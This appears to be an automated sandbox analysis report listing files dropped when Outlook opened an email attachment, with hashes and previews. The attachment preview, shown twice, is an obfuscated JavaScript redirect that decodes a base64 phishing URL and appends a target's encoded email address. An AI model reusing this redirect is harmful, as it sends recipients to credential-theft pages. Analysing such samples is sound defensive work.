File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.7819793290627555
Encrypted:	false
SSDEEP:	6:7fWmmnHx0l1ILqR6ylrxn8mbb0UlCRY3Vq3HVb:7fWxnR0lmGsErJhbF5EXVb
MD5:	8B7A6E066CC4941AFCD1D477EB4C69E5
SHA1:	033F21456B7B59C0398516C0DC3E67735F7BEB9B
SHA-256:	DA2010D7DF96E82E2A9270D37A33175AF34F158F08CBD578B42B0259504D3419
SHA-512:	C268968F521BC356ABB0415F0833104562391A0BCC525B5D59F6D44C620481C08761F26AB9EE6A54E46F9CE267F410786F3F07E4ECAFAD8DFA1B6835F9DEDA1D
Malicious:	false
Preview:	<script>.. window.location.href = atob("aHR0cHM6Ly9tYXJ0eS1uLmNvbS9vLz9jM1k5YnpNMk5WOHhYMjV2YlNaeVlXNWtQVTVYWkRKUlYyTTlKblZwWkQxVlUwVlNNVFV3T1RJd01qUlZNVEF3T1RFMU1UQT0=") + "#" + "cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=";..</script>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970 (002).htm:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970.htm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.7819793290627555
Encrypted:	false
SSDEEP:	6:7fWmmnHx0l1ILqR6ylrxn8mbb0UlCRY3Vq3HVb:7fWxnR0lmGsErJhbF5EXVb
MD5:	8B7A6E066CC4941AFCD1D477EB4C69E5
SHA1:	033F21456B7B59C0398516C0DC3E67735F7BEB9B
SHA-256:	DA2010D7DF96E82E2A9270D37A33175AF34F158F08CBD578B42B0259504D3419
SHA-512:	C268968F521BC356ABB0415F0833104562391A0BCC525B5D59F6D44C620481C08761F26AB9EE6A54E46F9CE267F410786F3F07E4ECAFAD8DFA1B6835F9DEDA1D
Malicious:	false
Preview:	<script>.. window.location.href = atob("aHR0cHM6Ly9tYXJ0eS1uLmNvbS9vLz9jM1k5YnpNMk5WOHhYMjV2YlNaeVlXNWtQVTVYWkRKUlYyTTlKblZwWkQxVlUwVlNNVFV3T1RJd01qUlZNVEF3T1RFMU1UQT0=") + "#" + "cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=";..</script>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970.htm:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729886849238299300_6586986F-0A41-474E-AB4A-636B28EBA023.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (859), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0071099287971905
Encrypted:	false
SSDEEP:	192:3JaSoJYKThLJLkhYjNkOYsjnLKY/4N2q+Bc:3JmnThL5MYj2OY0nLKY/a2q+Bc
MD5:	2625F0C6D509F3DDED0F674270C46F32
SHA1:	CD9417C9EC63486A8F0F0EB3B38B1788167F64F9
SHA-256:	3B610C0243B5B8C6F35A8671FC6175618DFF5B444F0005304F07DD9E6A6D8CBF
SHA-512:	DF98F0283E3E7D67DC8AE69450AF601971D9E5D02BE11D3A10062DAB86E5C370B32F9ADAF154D84DCBA0FD8ACD1F22CCCE86C236AB14696EFF3F3C139F52194D
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/25/2024 20:07:29.278.OUTLOOK (0x198C).0x1990.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.System.GracefulExit.GracefulAppExitDesktop","Flags":33777014402039809,"InternalSequenceNumber":17,"Time":"2024-10-25T20:07:29.278Z","Data.PreviousAppMajor":16,"Data.PreviousAppMinor":0,"Data.PreviousAppBuild":16827,"Data.PreviousAppRevision":20130,"Data.PreviousSessionId":"83088FB8-0226-4993-A1F9-78F6E6BF6556","Data.PreviousSessionInitTime":"2024-10-25T20:07:02.522Z","Data.PreviousSessionUninitTime":"2024-10-25T20:07:05.569Z","Data.SessionFlags":2147483652,"Data.InstallMethod":0,"Data.OfficeUILang":1033,"Data.PreviousBuild":"Unknown","Data.EcsETag":"\"\"","Data.ProcessorArchitecture":"x64"}...10/25/2024 20:07:29.309.OUTLOOK (0x198C).0x1098.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":22

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729886849239082100_6586986F-0A41-474E-AB4A-636B28EBA023.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	4.697768468102672
Encrypted:	false
SSDEEP:	768:KAodw0TZ1D92ZCtENo4Wh9TSB4am9+ppZ6z1pcPy9VM0o5A6xNE4f+XoMZPWOW66:Zh+p4Wh9TSW1pcPy9im6xNEs+XRTs9
MD5:	16E068BD5A33D63F228D437094133DF8
SHA1:	C5F09A47427A4741EB1659F99553714DFAA6D7FD
SHA-256:	00CD5F8210FC0CFD75B4B0CE632020E0C1C04216132845559E3CEB5EA7CB282A
SHA-512:	7C5F4F3EC09E95178BF0B888BA3773A2888FC09458C10B44C3336CB67D39BBC489DF35D96405C59856EBE2279A6252B097DD6BD85C7D4F836DAC54EB00AA492F
Malicious:	false
Preview:	............................................................................`................'..................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@....Y...............'..........v.2._.O.U.T.L.O.O.K.:.1.9.8.c.:.8.c.b.8.1.f.4.8.9.7.f.5.4.0.5.8.a.a.5.f.f.c.6.2.0.d.5.9.c.4.3.d...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.0.2.5.T.1.6.0.7.2.9.0.0.4.0.-.6.5.4.0...e.t.l.......P.P.............'..........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241025T1607460011-7156.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.586930482238165
Encrypted:	false
SSDEEP:	384:rnK083sQN5xNLY4zDBpW1th2XSHCgAl9bsA3EQMBBPoHBo4Fa7ZF/lINCDkBpdRb:sJY6H3
MD5:	0099CB099F5D9D7C5440D609BA13BBF1
SHA1:	ADAFCC8786AF6BF5CE7D6051DEAE8D23F0835FC8
SHA-256:	6BABB4DB8DB6BF41CA364C53F2DF2CF73700B9EE844EDFE98C963B6F8F6FFFFD
SHA-512:	377E588600AC2E822273A14DCBB097CC0AEB3226037C107CACC3F6295F20E635B118C8A8417B1041A089269DA3D877E72A9ECCE1E68EE4C101F3CE3CC6C81EBB
Malicious:	false
Preview:	............................................................................`...........'&...'..................eJ..........'..Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@....Y..........'&...'..........v.2._.O.U.T.L.O.O.K.:.1.b.f.4.:.6.2.9.6.b.0.6.0.3.5.a.b.4.9.c.2.b.7.7.3.e.c.f.f.7.6.d.2.4.e.6.0...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.0.2.5.T.1.6.0.7.4.6.0.0.1.1.-.7.1.5.6...e.t.l.......P.P..............'..........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF0A3BB04A0C461EA1.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF4D43047541D6F954.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB92466D47E9B8ED8.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	CDFV2 Microsoft Outlook Message
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	3.6526034670287317
Encrypted:	false
SSDEEP:	768:1ZWsKAWsKRnwvSMHlxbrzVDNhBAN0CtBkn4/0ql7DK5WsKrnYT0GBrXZZ0sOcz9D:HW4W5nOtq0WYWLG0mT9hLb
MD5:	2D70097650C5AF87B3D23F95BA42767D
SHA1:	8BF9C0155ABC52D3EF0605C0058C9D8E4A2BA1F0
SHA-256:	877CEF848ACA7AC862AB0B9E04614EB25E81D4348719021E1B50CA1DA2D3D3F7
SHA-512:	5FCEBF1CE9C0CB8BE680ACE4640B8E02CE1AA5C0E4E9040181D6D00174EA7CE5023E7B63F8094FB8ACAE01781D50F213F50E560439B959063E2A8D884EF12F36
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................[............................... ...;...<..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:.......=...?...>...@...A...B...C...D...E...F...H...G...I...S...T...K...L...M...N...O...P...Q...R.......V...U...b...W...X...Y...Z...\...s...]...^..._...`...a...c...m...d...e...f...g...h...i...j...k...l...n...o...q...p...r...t...v.......u...x...w...y...z.......

C:\Users\user\AppData\Local\Temp\~DFF77C153A50444DF8.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	CDFV2 Microsoft Outlook Message
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	3.661238616175048
Encrypted:	false
SSDEEP:	768:kWsKAWsKvFIL5vOrQfDNhXCmMgbGsNg+CDK9+kTQWsKhNguyD6p+ApZZ3sVj4o9Z:kW4WXeqSlCDK9+ksWp1yD6p+UDi6n
MD5:	C38057129D6556A6F48D0ACF37722447
SHA1:	9BF7461A8DF7D38B54F6CCD6BCA0375DE9AC71F6
SHA-256:	CE00A82F5D1DB84C48BBD8E4472D7B5ABE6A72EAF56D3147B7920B47CA0BCE54
SHA-512:	4B05EF5753D3904EA8D6B135A1CA195FED392147A74C6F3D0BD2F325224F53B00552407D8DFE4826C9AC843D4101B652C677A88A09C04539F11CBE1A1BC0B283
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................[............................... ...;...=..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:.......<...>...?...@...A...B...C...D...F...E...G...H...I...S...T...K...L...M...N...O...P...Q...R.......V...U...a...W...X...Y...Z...\...s...]...^..._...`...b...m...c...d...e...f...g...h...i...j...k...l...o...n...p...q...r...t...v.......u...x...w...y...z.......

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:U1lh1:U1lh
MD5:	814369E79E3CF204061631AB2B3B79B2
SHA1:	DE74FB2ABCECF2E37EF7EE8F4D2A65F5C30C023D
SHA-256:	9688D7069B571EF28FDC5E0194A8A4850437E71DF92B1F8AD8103AD6A5E508F5
SHA-512:	B24C51E5B7F352B76AC6F2B1494229E963BA09A13E7CD997E554ECAC74B04868C2145E880378B86AFC13A24FA2D4A0BCC0292FDEDF504C710F4DEE3528BF6072
Malicious:	false
Preview:	....#.........................

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.6700247966702793
Encrypted:	false
SSDEEP:	12:rl3baFciCqLKeTy2MyheC8T23BMyhe+S7wzQP9zNMyhe+S7xMyheC+Km:rgRmnq1Py961+Km
MD5:	6DB0AA87CCCD8F0B8AB43FB9A9326F3E
SHA1:	8A636353A3C027C33F62EE817173323B31AC2BF9
SHA-256:	FCE0F84ACDD16E8911EF2F6205759721ED86F6AF72DC3001B147EA417701E068
SHA-512:	545534A09D0E53DB8C03C9FF1F888D09487D17F3CEC1F4552FACC612D495DAE09E216A82D271026C99687B1DDAA059860833DDB4FA3A6A36AAC7700990C1A47A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 19:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9777112212418166
Encrypted:	false
SSDEEP:	48:84dKVTqdotHJidAKZdA1FehwiZUklqeh1y+3:8LPhmy
MD5:	51A5E5A39194128AE620DAE0F872EF88
SHA1:	7D85EAB9EE4D4775981FBAE117789B60246039B9
SHA-256:	A8E6742F93DAC9FFF54BAB2117F0F2ECA7E73545FA3EE1B6F95D601CF1F5280E
SHA-512:	41FCD79A24EA1163C83FC09142DB27A698F12B8377C88A81C869B284C127B6666834F0F8893574DF38539B1EEE355EBB28BEAA802042A8513C8064C078C155B3
Malicious:	false
Preview:	L..................F.@.. ...$+.,......"..'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IYY.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VYY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VYY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VYY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 19:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9953969500064415
Encrypted:	false
SSDEEP:	48:8ZdKVTqdotHJidAKZdA1seh/iZUkAQkqehWy+2:8cP39QLy
MD5:	E62AFAA1937D77C6B4DA5ECE6AB179F6
SHA1:	12D46F6277F2D7C38DA7300D0ECEB9251851B71C
SHA-256:	9264427E1BEB6F3A6B025920AD12C6FB6D9051FC310254E126D2C9B2345B1277
SHA-512:	7DBC2B11C3CF0FD01D6C1FAD6327DA82A88072F30EA813D9E29D65A81961C5630DBF70E40B13F2A7EDEDDC9A737C2F958637877DD0379BF4FD7E66A027E30EE1
Malicious:	false
Preview:	L..................F.@.. ...$+.,....+....'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IYY.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VYY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VYY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VYY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.001613102420553
Encrypted:	false
SSDEEP:	48:8HdKVTqdoAHJidAKZdA14meh7sFiZUkmgqeh7sEy+BX:8SPMnqy
MD5:	636F1BB7A5A9E733CDADD91CB3807DA3
SHA1:	811DD701431AD6EF5B040447F7CD642B623F375E
SHA-256:	3C2D505E3F90D766B9E244C6B6D8C9655DC02C97020BA027503C50CB2EA6C8EB
SHA-512:	7DC191058413847C21F1A39921C354D01E99F3B833601A9A1A7078000789A16D557EEE450824F637044DBE0D76D2F6F7D4F9BB0B3287087BD783106B471EDB43
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IYY.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VYY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VYY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 19:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.99111646257337
Encrypted:	false
SSDEEP:	48:8LdKVTqdotHJidAKZdA1TehDiZUkwqehCy+R:8WPE8y
MD5:	31B784B689E634FF50E0C3C97F4291E5
SHA1:	79105806F69B01360AA3D3C968C2C8D11EE027B9
SHA-256:	368941DD9E946FFC81B74B5ED73BF002291DE3ADFE818FB39106C81E9BD95B9A
SHA-512:	57C52C283281C7DBB1985C5DA9E3911E0E9FC793EDE83FBA388055886F1FD8557ECBD15D7E46F77DCCF3C405211737C4580872F4C43995ABE1EB788A8BBD51DD
Malicious:	false
Preview:	L..................F.@.. ...$+.,....w....'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IYY.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VYY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VYY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VYY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 19:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.978079749411463
Encrypted:	false
SSDEEP:	48:8y/dKVTqdotHJidAKZdA1dehBiZUk1W1qehIy+C:8FPk9oy
MD5:	B94A30B685E990873A53E0B4128E5AAD
SHA1:	ECB06BFD66AD4ED130DAB218553736DE7C82B43A
SHA-256:	DEFA275063CDBCE04F8BC833FE1251E8E236BC22B5CAE1F9539C8A9B305EABAA
SHA-512:	0ABF1AD5FDDE14B6173BCE686913E19ADA34C2739FFA3145CBC1B8E4DC8D8A862D98831EF1EAB383CA6239753D76BE8FC6F51C2854AC4D687655674F227B5805
Malicious:	false
Preview:	L..................F.@.. ...$+.,...._t...'..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IYY.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VYY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VYY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VYY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VYY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 25 19:08:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9878084802500178
Encrypted:	false
SSDEEP:	48:8MdKVTqdotHJidAKZdA1duTeehOuTbbiZUk5OjqehOuTbqy+yT+:8vPWTfTbxWOvTbqy7T
MD5:	DC229843C8382A0C4875EF48CB69707E
SHA1:	04CC3CE126237254AF0F19FE53EEE0BE05A40F09
SHA-256:	325A3CF8283C82E743C4374C35D4A9CDE9A33BD6B89302361D83B6CC2FCA70F4
SHA-512:	CC4FF6F652C285252D2644283C523FCEBC8A06E46EE0FB71078B114E0AC7811E04CE4EB2449A3BC6932259E99A54FEEF17E2C22F3D9460ECBAF8AA6948CE5927
Malicious:	false
